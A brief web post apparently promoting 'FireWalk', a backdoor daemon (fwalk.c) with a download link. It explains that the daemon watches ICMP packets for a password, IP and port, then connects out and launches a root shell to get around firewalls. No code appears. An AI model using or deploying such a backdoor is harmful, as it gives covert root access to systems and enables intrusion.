A simple backdoor with the goal of circumventing network firewalls.
The daemon process, fwalk.c, runs on the system that you’re wanting to backdoor.
It processes all incoming ICMP packets, looking for a password, ip address and port number in the payload. If the password matches, it establishes a TCP connection with the IP address and port number specified and launches a root shell.
Download Link:- https://github.com/mart1n/FireWalk